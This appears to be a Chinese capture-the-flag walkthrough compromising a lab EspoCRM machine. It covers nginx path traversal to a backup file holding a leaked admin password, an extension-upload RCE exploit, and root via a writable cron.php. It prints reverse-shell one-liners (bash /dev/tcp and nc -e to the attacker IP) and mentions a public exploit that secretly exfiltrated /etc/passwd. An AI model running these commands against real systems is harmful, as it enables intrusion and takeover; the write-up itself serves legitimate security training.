kali:192.168.56.104
主机发现
arp-scan -l# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:05 (Unknown: locally administered)
192.168.56.100 08:00:27:2a:a8:ba PCS Systemtechnik GmbH
192.168.56.117 08:00:27:8a:f5:e6 PCS Systemtechnik GmbH
靶机:192.168.56.117
端口扫描
nmap 192.168.56.11722/tcp open ssh
80/tcp open http
web界面就是一个登录界面
查了一下相关cve都需要登录才行
目录扫描
# gobuster dir -u http://192.168.56.117 -x html,txt,php,bak,zip --
...
/admin (Status: 301) [Size: 162] [--> http://192.168.56.117/admin/]
/api (Status: 301) [Size: 162] [--> http://192.168.56.117/api/]
/client (Status: 301) [Size: 162] [--> http://192.168.56.117/client/]
/index.php (Status: 200) [Size: 2480]
/index.php (Status: 200) [Size: 2480]
/install (Status: 301) [Size: 162] [--> http://192.168.56.117/install/]
/portal (Status: 301) [Size: 162] [--> http://192.168.56.117/portal/]
/robots.txt (Status: 200) [Size: 26]
/robots.txt (Status: 200) [Size: 26]
但是尝试发现都进不去
之类nginx有个目录穿越漏洞，该靶场的nginx版本没有修复这个漏洞
Nginx漏洞修复之目录穿越(目录遍历)漏洞复现及修复_目录遍历漏洞修复-CSDN博客
在admin后面加上../能穿越到上一级目录
但是用directory-list-2.3-medium.txt和common.txt 都不跑，换个字典
gobuster dir -u http://192.168.56.117/admin../ -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt/admin (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../admin/]
/_oldsite (Status: 301) [Size: 162] [--> http://192.168.56.117/admin../_oldsite/]
gobuster dir -u http://192.168.56.117/admin../_oldsite -x html,txt,php,bak,zip --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt/backup.zip (Status: 200) [Size: 37975754]
/info (Status: 200) [Size: 540]
有个备份文件
在data/config.php文件发现账号密码
'smtpUsername' => 'admin','smtpPassword' => '39Ue4kcVJ#YpaAV24CNmbWU',登录成功就可以利用CVE了
web源码里面显示2022，所以我就找2022及以后的cve
看到了两个可以任意命令执行的,是通过上传拓展的zip实现
cve-2023-5966/Weaponized_Extension.zip at main · pedrojosenavasperez/cve-2023-5966 (github.com)
在github上面搜到这个exp，不过里面好像有个脏东西
它把/etc/passwd发到了一个恶意网站...好像跟RCE没什么关系
把他删了，然后上传到espo
反弹个shell
bash -c 'bash -i >& /dev/tcp/192.168.56.104/4567 0>&1'www-data@espo:/home/mandie$ ls -al
ls -al
total 48
drwxr-xr-x 6 mandie mandie 4096 Mar 10 05:16 .
drwxr-xr-x 3 root root 4096 Jan 24 19:01 ..
lrwxrwxrwx 1 root root 9 Jan 26 19:39 .bash_history -> /dev/null
-rw-r--r-- 1 mandie mandie 220 Dec 4 15:42 .bash_logout
-rw-r--r-- 1 mandie mandie 3526 Dec 4 15:42 .bashrc
drwxr-xr-x 3 mandie mandie 4096 Dec 4 15:42 .local
drwxr-xr-x 12 mandie mandie 4096 Dec 4 15:42 .oh-my-zsh
-rw-r--r-- 1 mandie mandie 807 Dec 4 15:42 .profile
-rw-r--r-- 1 mandie mandie 3890 Dec 4 15:42 .zshrc
-rwxr-xr-- 1 mandie mandie 493 Dec 4 15:42 copyPics
drwxr-xr-x 2 mandie mandie 4096 Mar 10 05:16 pictures
-rwx------ 1 mandie mandie 33 Jan 24 19:01 user.txt
drwxr-xr-x 2 mandie mandie 4096 Mar 10 05:16 videos
mandie目录下有user.txt但是权限不够，而且有个奇怪的可执行文件copyPics
用pyps64看一下进程
2024/03/10 05:27:01 CMD: UID=0 PID=3074 | /usr/sbin/CRON -f
2024/03/10 05:27:01 CMD: UID=0 PID=3073 | /usr/sbin/cron -f
2024/03/10 05:27:01 CMD: UID=0 PID=3075 | /usr/sbin/CRON -f
2024/03/10 05:27:01 CMD: UID=0 PID=3076 | /usr/sbin/CRON -f
2024/03/10 05:27:01 CMD: UID=1000 PID=3077 | /bin/sh -c /home/mandie/copyPics
2024/03/10 05:27:01 CMD: UID=0 PID=3078 | /bin/sh -c cd /var/www/html; /usr/bin/php -f cron.php > /dev/null 2>&1
2024/03/10 05:27:01 CMD: UID=1000 PID=3079 | /bin/bash /home/mandie/copyPics
2024/03/10 05:27:01 CMD: UID=1000 PID=3080 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3081 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3082 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3083 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3084 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3085 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3087 | /usr/bin/find /var/shared_medias ! -executable -exec /usr/bin/cp {} /home/mandie ;
2024/03/10 05:27:01 CMD: UID=1000 PID=3088 | /bin/bash /home/mandie/copyPics
2024/03/10 05:27:01 CMD: UID=1000 PID=3089 | /bin/bash /home/mandie/copyPics
2024/03/10 05:27:02 CMD: UID=1000 PID=3090 | /bin/bash /home/mandie/copyPics
2024/03/10 05:27:02 CMD: UID=1000 PID=3091 | /bin/bash /home/mandie/copyPics
2024/03/10 05:27:02 CMD: UID=1000 PID=3092 | /bin/bash /home/mandie/copyPics
发现是个定时执行的任务，一分钟执行一次，并且UID是1000，是mandie的权限，如果在脚本里面添加一条反弹shell的指令，我们就能拿到mandie的权限，但是发现无法编辑这个文件。
再看进程，发现
root权限执行力 cron.php,并且cron.php可编辑
-rw-r--r-- 1 www-data www-data 1531 Dec 4 15:42 cron.php
echo "system('nc -e /bin/bash 192.168.56.104 4567');" >>cron.php# nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.117] 36354
whoami
root
拿到root权限
好像直接越步了，无所谓，照样能拿到user和root
